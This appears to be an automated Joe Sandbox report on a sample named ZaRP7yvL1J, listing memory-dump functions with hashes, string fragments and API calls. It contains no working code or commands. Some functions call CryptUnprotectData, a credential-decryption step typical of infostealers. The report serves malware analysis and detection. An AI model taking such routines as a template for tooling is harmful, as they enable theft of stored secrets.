,bq, xrefs: 000D6252
(o^q, xrefs: 000D61DA
(o^q, xrefs: 000D61E8

Memory Dump Source

Source File: 00000004.00000002.2928370071.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-2525668591
Opcode ID: 161e22604441fbc6674f8f002b91483d3dba4eb7260a2882a35153413d57cc50
Instruction ID: d2aaa17ff5901c0775b475f83fa0c02ea1261a500fa9c5fc3da8be328f8077a7
Opcode Fuzzy Hash: 161e22604441fbc6674f8f002b91483d3dba4eb7260a2882a35153413d57cc50
Instruction Fuzzy Hash: D0022E31A00219DFDB54CFA9C984AAEBBF2BF88314F15806AE415AB361D736DD45CF60

Function 000D9048 Relevance: 3.4, Strings: 2, Instructions: 888COMMON

Download Yara Rule

Strings

4'^q, xrefs: 000D9AD3
(o^q, xrefs: 000D94D8

Memory Dump Source

Source File: 00000004.00000002.2928370071.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: (o^q$4'^q
API String ID: 0-273632683
Opcode ID: a0d630746b9065124e9de2db5b88b9c8708ac27f29bba36794b65a56755e9c8e
Instruction ID: f1b4d377f14b321726e50d54299235665a8bbb72153bda3fe4690fbbd7a84f1d
Opcode Fuzzy Hash: a0d630746b9065124e9de2db5b88b9c8708ac27f29bba36794b65a56755e9c8e
Instruction Fuzzy Hash: FC824D75A00209DFCB15CFA8D984AAEBBF2FF88310F15855AE4059B3A5D731ED41CBA1

Function 000D4328 Relevance: 2.7, Strings: 2, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 000D4590
PH^q, xrefs: 000D45A1

Memory Dump Source

Source File: 00000004.00000002.2928370071.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 70516c0c0359f3d59ea5bade22621c01e2aa23b1103bc88f49c8435b27284ea4
Instruction ID: 664fc5feda93a062916382785b0d09757256e3a0dc9d1784dfae325c0dc94d99
Opcode Fuzzy Hash: 70516c0c0359f3d59ea5bade22621c01e2aa23b1103bc88f49c8435b27284ea4
Instruction Fuzzy Hash: E981D674E00258CFDB58DFA9D894A9DBBF2BF89300F14C06AE409AB365DB349985CF50

Function 390EE7C8 Relevance: 2.0, Strings: 1, Instructions: 764COMMON

Download Yara Rule

Strings

Te^q, xrefs: 390EF17D

Memory Dump Source

Source File: 00000004.00000002.2951850825.00000000390E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 390E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_390e0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: f1569ffa2a2ccf8ced38796c446ae25b58b49d0863e894fc34bf17347f3b1ab0
Instruction ID: 4340f1ca9712d077fb4273df7937c635a6fd2fa70f0a257bea7b9451187e3739
Opcode Fuzzy Hash: f1569ffa2a2ccf8ced38796c446ae25b58b49d0863e894fc34bf17347f3b1ab0
Instruction Fuzzy Hash: B582A274A00228CFDB25DF64C994BADB7B2FB89300F1085E9D909A7364DB319E86DF54

Function 387ABDF0 Relevance: 2.0, Strings: 1, Instructions: 758COMMON

Download Yara Rule

Strings

Te^q, xrefs: 387AC796

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 260092be4d5dfa07be1e505f58fb69c39194e6906d3db5a90123ab92b49ac56b
Instruction ID: 16da9728598bd00367731c11715aaa8efb51746b360b873cca013ff8fa216332
Opcode Fuzzy Hash: 260092be4d5dfa07be1e505f58fb69c39194e6906d3db5a90123ab92b49ac56b
Instruction Fuzzy Hash: 4672B174A00218DFDB25DF64C994BA9BBB2FB89700F1085E9E909B7364CB359E81CF54

Function 390ED6C1 Relevance: 1.8, APIs: 1, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951850825.00000000390E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 390E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_390e0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10d99affa0b7ef371ad9b101541e70129eb6fc73c146f898937ea21522b67451
Instruction ID: e9172e11367fa352739f0f95952d8595082a42457e9ed163fa24a6ce83e2a07b
Opcode Fuzzy Hash: 10d99affa0b7ef371ad9b101541e70129eb6fc73c146f898937ea21522b67451
Instruction Fuzzy Hash: BDD1373AE00709CFEB04DFA5C944B9DBBF2EF84304F158995D415AF2A5EB70A985CB80

Function 3805D9D9 Relevance: 1.6, APIs: 1, Instructions: 56encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(000000BA,06338838,00000000,?,?,?,?), ref: 3805DA45

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 33c2cddac998f35fd3d3a2193530cdedfc037d0a63eabe0bfd695921f8e32c71
Instruction ID: 52c53678d70addc1950f8821118f15a2afa7f881eb65fd54b54d7b7a30c44837
Opcode Fuzzy Hash: 33c2cddac998f35fd3d3a2193530cdedfc037d0a63eabe0bfd695921f8e32c71
Instruction Fuzzy Hash: 7F1156B6800249DFDB10CF99D945BEEBFF1EF48320F14841AE954A7210C379A590CFA1

Function 3805D1EC Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(000000BA,06338838,00000000,?,?,?,?), ref: 3805DA45

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: a8650c1dfebb358ed0dbddc65773d19dcaa8cc0e9fe6fe9d4b606162a9f7fde6
Instruction ID: e436fc10b7ab602f50a1c93687df7cd0eb21cba3a6ec599d68c34ae6ed8dc2d3
Opcode Fuzzy Hash: a8650c1dfebb358ed0dbddc65773d19dcaa8cc0e9fe6fe9d4b606162a9f7fde6
Instruction Fuzzy Hash: 7E1156B2804249DFDB10CF99C905BDEBFF5EF48320F10846AE918A7210C379A990CFA5

Function 387A8650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eec8eb94ca2a400d758924a2b9007cac600b6f5c3b8a5e63a467878365090d64
Instruction ID: a565d3f6868fbe6acae8086414c7b1965833258e766bb3f13d90d1eec2f85d49
Opcode Fuzzy Hash: eec8eb94ca2a400d758924a2b9007cac600b6f5c3b8a5e63a467878365090d64
Instruction Fuzzy Hash: 1A72AE74E05228CFDB64DF69C984BD9BBB2BB49300F1492E9E509AB351DB349E81CF50

Function 3805C638 Relevance: .3, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 872237d8911144dbd38228f965d0ed113695aedcff11d231413f8e3455baa6ce
Instruction ID: 45b62c2689876a059cbb7a2729f7fc7187b72f8757b2541b4df17938a03c27bc
Opcode Fuzzy Hash: 872237d8911144dbd38228f965d0ed113695aedcff11d231413f8e3455baa6ce
Instruction Fuzzy Hash: A5E1C074E01218CFEB14CFA5C994B9DBBB2BF89304F2081A9D409B7395DB359A85CF24

Function 380503C4 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f00ff30747775cba219dfe020c96cec4cf47d7f387695843106b00c4d9796d3
Instruction ID: 9d716715ea931b072b4a20e57a63a9b8676dd9bcb9f636618553f1a9854ad29a
Opcode Fuzzy Hash: 6f00ff30747775cba219dfe020c96cec4cf47d7f387695843106b00c4d9796d3
Instruction Fuzzy Hash: 3DC19074E00218CFDB54DFA5C994B9DBBB2BF89304F2081A9D809B7365DB359A86CF50

Function 38050C1A Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9362294e0eeae2ce2a5cefd07426c573d9d6c4805135c99d9d9b4b0d3ce0416
Instruction ID: 09fc4d45194dbdc9faab00ec476aa0583ae990c0946a910e09cc692e6dc67094
Opcode Fuzzy Hash: a9362294e0eeae2ce2a5cefd07426c573d9d6c4805135c99d9d9b4b0d3ce0416
Instruction Fuzzy Hash: 49A105B4D00208CFEB14DFA8C9847DDBBB2FF89304F2092A9E408A7291DB749985CF55

Function 38050C28 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb0c3621947c5d6aa1db4e19d6f65edf4877247144c4198aea74c223b33b8d2c
Instruction ID: 61681cff2d3bdc66b5d8bf10796e4afeece9fb157739c0995caa7dbc270c6223
Opcode Fuzzy Hash: fb0c3621947c5d6aa1db4e19d6f65edf4877247144c4198aea74c223b33b8d2c
Instruction Fuzzy Hash: 24A10574D00208CFDB14DFA9D984BDDBBB2BF89314F209269E408A7391DB749985CF55

Function 387AA360 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd118aa08b56e0643b3e09b2b375a61e45a2bde9d7bf8c734a3a58111e9a71cf
Instruction ID: a9f670489b3ffb5b7b730b478d9310e2d355865eb9a151a962808273e7109cae
Opcode Fuzzy Hash: bd118aa08b56e0643b3e09b2b375a61e45a2bde9d7bf8c734a3a58111e9a71cf
Instruction Fuzzy Hash: 0DA1A1B5E01218CFEB14CF6AC944B9DFBF2AB89300F10C1AAD408BB255DB355A85CF61

Function 387A9D10 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd3589a138d04e93acc9ea6743fbd86912e963a5ddd5e56e08d0fc2b837d0141
Instruction ID: 29a5090c3ae7ce7b17e66edfad9a476263fc60d2b79ccb1248d7a2eb9db76180
Opcode Fuzzy Hash: bd3589a138d04e93acc9ea6743fbd86912e963a5ddd5e56e08d0fc2b837d0141
Instruction Fuzzy Hash: ECA19275E012188FEB18CF6AC944B9DFBF2AB89300F14C1AAD40CB7255DB745A85CF61

Function 387AA9B0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 365368cb02ac6905ecf0acf8f2c616ee46ab5291bf4662e24e96c1466a0a37a0
Instruction ID: aff619d3d25f986fb200641cc00e72fe7a5ddc2b3735e40a66edd8d20de15cc9
Opcode Fuzzy Hash: 365368cb02ac6905ecf0acf8f2c616ee46ab5291bf4662e24e96c1466a0a37a0
Instruction Fuzzy Hash: 74A192B4E012588FEB18CF6AC944B9DFBF2AF89300F14D1AAD409B7255DB345A85CF61

Function 387A96C8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adad71f8747b3ff31845e8375b827af874f8f582944372e99664f3996beb16ee
Instruction ID: 9f1fdc1260c240839184b7e7dd45f3bdf6f5f01a96e5abd26386010b3a914c60
Opcode Fuzzy Hash: adad71f8747b3ff31845e8375b827af874f8f582944372e99664f3996beb16ee
Instruction Fuzzy Hash: CAA182B5E012188FEB54CF6AC944B9DBBF2AF89300F14D1AAD408B7255DB349A85CF21

Function 38050F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdf1afaa33bc6363c2ada369c15c8d9ea26d04ebc99fccc5e976d5f76089081e
Instruction ID: 1ef91a5c5d7759a746dfc3b56c9e11306429d5be690c5b06d67a4d355a258fd9
Opcode Fuzzy Hash: bdf1afaa33bc6363c2ada369c15c8d9ea26d04ebc99fccc5e976d5f76089081e
Instruction Fuzzy Hash: D991E374D04208CFEB10DFA8D984BDDBBB1FF49314F2092A9E409A7291DB749985CF65

Function 387ABA97 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4caf87b2051d969bdeeb3588971e19c6d2c94d44796ec1a62c728fa3ed353878
Instruction ID: 8da6b0a7897ea9699f8947ed09a8abe81fea4445d25affe9978a0bd0dc0630d4
Opcode Fuzzy Hash: 4caf87b2051d969bdeeb3588971e19c6d2c94d44796ec1a62c728fa3ed353878
Instruction Fuzzy Hash: 5681E574E01608CBDB14DFAAD99469DBBF3BF88310F24D629E414AB359DB345942CF60

Function 387A8640 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f3161b57b8463cbeddbafc30a439c080479c9644e3cb907f6f4cc27220c4e5c
Instruction ID: 371ebbeae7df62e44fcbc3686de8d3534b302570fb4f4df1a516a9d6cf2e5a5b
Opcode Fuzzy Hash: 0f3161b57b8463cbeddbafc30a439c080479c9644e3cb907f6f4cc27220c4e5c
Instruction Fuzzy Hash: CC71B275D01228CFDB64CF66C9847DDBBB2BF89301F1491AAD419AB360DB359A82CF50

Function 387AA9A0 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 210179a494b23c467b49703b7cb310c0faa6ebad6e35103fa90798b375c3925e
Instruction ID: 57dd85ea65b069810c87a78673ca17e6f66f4892fb2898111079d5f53ca4b080
Opcode Fuzzy Hash: 210179a494b23c467b49703b7cb310c0faa6ebad6e35103fa90798b375c3925e
Instruction Fuzzy Hash: 187191B5E006588FEB28CF6AC944B9DFBF3AB89200F14C1AAD40DA7255DB344A85CF11

Function 387A96B8 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20a81546c5228f862747506a097c0f2d01cd255238368ecd5ba403e83b1677b1
Instruction ID: 02b6abef8b513a469a49430aef1069fb42b5f4fda6bbf00eb7798e4f97a7f594
Opcode Fuzzy Hash: 20a81546c5228f862747506a097c0f2d01cd255238368ecd5ba403e83b1677b1
Instruction Fuzzy Hash: D47182B5E006588FEB68CF6AC944B9DBBF2AF89300F14C1EAD40DA7255DB344A85CF11

Function 390EF316 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951850825.00000000390E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 390E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_390e0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b77fd30a36f3cd3edbf39ca9ae5205144a8c66524b4a6e53977f67908c83cd69
Instruction ID: d747426b93870407c6a2dd6f5bb9d22485c98a18e264cdb5db302ed6ba344115
Opcode Fuzzy Hash: b77fd30a36f3cd3edbf39ca9ae5205144a8c66524b4a6e53977f67908c83cd69
Instruction Fuzzy Hash: 6E611934A40219DFDB25DF64C950BADBBB7FB88300F1084A9EA0977764DA329D82DF50

Function 387A9D00 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 132fab7de34a0b97eaf0c872d4201d585431ef0fa6e39616b92e50015e6000c6
Instruction ID: c2643786fc1698dbe6424fa3e48ac219eae30e781a5677f94ade2704989f69cb
Opcode Fuzzy Hash: 132fab7de34a0b97eaf0c872d4201d585431ef0fa6e39616b92e50015e6000c6
Instruction Fuzzy Hash: F7418CB5D016588BEB58CF6BC945789FBF3AFC9200F04C1EAC54CAB265DB740A868F11

Function 387AA352 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09e6dab0e815538c7de70a02c49ba1d4594a1e3e59cff87e47cc0b0db5bca75f
Instruction ID: ac36ba7f72f89349db806412589ce568aba711cd0bc38aa76ba78fddb98f5ac0
Opcode Fuzzy Hash: 09e6dab0e815538c7de70a02c49ba1d4594a1e3e59cff87e47cc0b0db5bca75f
Instruction Fuzzy Hash: 334179B1E016588BEB58CF6BC9457C9FAF3AFC9300F14C1AAC50CA7264DB740A868F51

Function 000D66B8 Relevance: 10.5, Strings: 8, Instructions: 471
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,bq, xrefs: 000D6B58
(o^q, xrefs: 000D687A
(o^q, xrefs: 000D67B1
,bq, xrefs: 000D6B68
(o^q, xrefs: 000D66F6
(o^q, xrefs: 000D67DD
(o^q, xrefs: 000D6BC7
(o^q, xrefs: 000D6BD7

Memory Dump Source

Source File: 00000004.00000002.2928370071.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-1932283790
Opcode ID: 8877a4dbc1552a91c1b44f0cfcbfc411440f671611bffbc91b5bdd699e22e8af
Instruction ID: 9e5519478ef6e6ae0f68a5f323c226fafa14f2019a62993a5fdc705465dd1ced
Opcode Fuzzy Hash: 8877a4dbc1552a91c1b44f0cfcbfc411440f671611bffbc91b5bdd699e22e8af
Instruction Fuzzy Hash: DC125B30A002089FCB64CF69D994AAEBBF2FF48314F15856AE455DB361DB32ED45CB60

Function 390E0970 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 390E09FE
GetCurrentThread.KERNEL32 ref: 390E0A3B
GetCurrentProcess.KERNEL32 ref: 390E0A78
GetCurrentThreadId.KERNEL32 ref: 390E0AD1

Memory Dump Source

Source File: 00000004.00000002.2951850825.00000000390E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 390E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_390e0000_ZaRP7yvL1J.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 0b2e0dacafb80bb4486d3c298b40a21cbb5654469d178f923d3c77f3aacaaaf9
Instruction ID: d5fa7ff1c5a2c4951461c5e6d80c1f5262e65013e4315677b5581fda0f811de8
Opcode Fuzzy Hash: 0b2e0dacafb80bb4486d3c298b40a21cbb5654469d178f923d3c77f3aacaaaf9
Instruction Fuzzy Hash: 9C5146B09006498FDB04CFA9C548BDEFFF1EF88314F2484AAD459A7661D734A980CFA5

Function 390E0980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 390E09FE
GetCurrentThread.KERNEL32 ref: 390E0A3B
GetCurrentProcess.KERNEL32 ref: 390E0A78
GetCurrentThreadId.KERNEL32 ref: 390E0AD1

Memory Dump Source

Source File: 00000004.00000002.2951850825.00000000390E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 390E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_390e0000_ZaRP7yvL1J.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: ff57df95cfef5300833fdaea2b4c57dca2f9e82fa4d35bf8c8d837481fee07d5
Instruction ID: 7217b8098e9558a63b95a50080f99b835ef1b8981e97073bdc015ec98f5591d4
Opcode Fuzzy Hash: ff57df95cfef5300833fdaea2b4c57dca2f9e82fa4d35bf8c8d837481fee07d5
Instruction Fuzzy Hash: F15136B09006498FDB04CFA9C648BDEFBF1EF88314F248469D459A7661DB74A980CFA5

Function 000D7458 Relevance: 3.2, Strings: 2, Instructions: 701
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 000D7F9F
$^q, xrefs: 000D7F7C

Memory Dump Source

Source File: 00000004.00000002.2928370071.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 5d3d6e4daa546f2b86280747b2f712944f0705b7140e72aadd23f3283b815127
Instruction ID: 5d29e7359999649c522ff3deae982644eed3ef578a1c1db3ffa342481c169c40
Opcode Fuzzy Hash: 5d3d6e4daa546f2b86280747b2f712944f0705b7140e72aadd23f3283b815127
Instruction Fuzzy Hash: ED522374A0421CCFEB249BA4C960B9EBBB7EF44300F1081A9D10A6B765DF359E49EF51

Function 000D4F00 Relevance: 2.8, Strings: 2, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 000D4FEB
Hbq, xrefs: 000D501E

Memory Dump Source

Source File: 00000004.00000002.2928370071.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: ff0d14c8306c9bae53ecb250289d4dba9fb44dfb69d8e573a8d70e55906552ab
Instruction ID: f72e4888aede0ab07d940b1dc0b1b795ee3e7e9cbc04b21d9af256b633231b1b
Opcode Fuzzy Hash: ff0d14c8306c9bae53ecb250289d4dba9fb44dfb69d8e573a8d70e55906552ab
Instruction Fuzzy Hash: 6BB1BB347046548FDB259F28C854B7E7BE2AB89341F14852AE846CB7A5DF38CC42DBA1

Function 000D8D90 Relevance: 2.8, Strings: 2, Instructions: 308COMMON

Download Yara Rule

Strings

4'^q, xrefs: 000D8ECC
4'^q, xrefs: 000D8DC4

Memory Dump Source

Source File: 00000004.00000002.2928370071.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 9f21294218b1122add093f3044143fa1ab637576f978e7ef18777611746485d1
Instruction ID: 6561357f4de681f915c40e29b4e609356bf216acb2eaa91d588d200a1620368c
Opcode Fuzzy Hash: 9f21294218b1122add093f3044143fa1ab637576f978e7ef18777611746485d1
Instruction Fuzzy Hash: 01B17F70A007058FCB55CF69C484ABEBBF6AF84300F19C96AE405DB352DB35ED468BA1

Function 000D5460 Relevance: 2.7, Strings: 2, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,bq, xrefs: 000D5536
,bq, xrefs: 000D5540

Memory Dump Source

Source File: 00000004.00000002.2928370071.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: c7c309e14dbb0b582d593c6dadeafdfccfbbf97487f093306c03a52a177ab399
Instruction ID: 12934a8f806b5d51beb1a28f282794b73cb0930fdf58526f0fdc94880e9357e3
Opcode Fuzzy Hash: c7c309e14dbb0b582d593c6dadeafdfccfbbf97487f093306c03a52a177ab399
Instruction Fuzzy Hash: 06819F34A00A058FCB54CF69CC949AEB7F2BF89316B65816AD805DB365DB31EC41CFA1

Function 387AD548 Relevance: 2.7, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 387AD5ED
4'^q, xrefs: 387AD5CA

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 7de8a2fb7d88eec6d2ad21993ee3b361904418491fb9110d7c1c8be27a2207d8
Instruction ID: bacbc813b3f8fbe08fccd786a68d000f5c906d3e52ffc5933ddaadb003e4482c
Opcode Fuzzy Hash: 7de8a2fb7d88eec6d2ad21993ee3b361904418491fb9110d7c1c8be27a2207d8
Instruction Fuzzy Hash: 8B518170E002099FCB05DFA8D855AEEBBB2FF85300F1085A9E505AB366DB359D45CF61

Function 000D8BF0 Relevance: 2.6, Strings: 2, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 000D8D44
4'^q, xrefs: 000D8D2D

Memory Dump Source

Source File: 00000004.00000002.2928370071.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

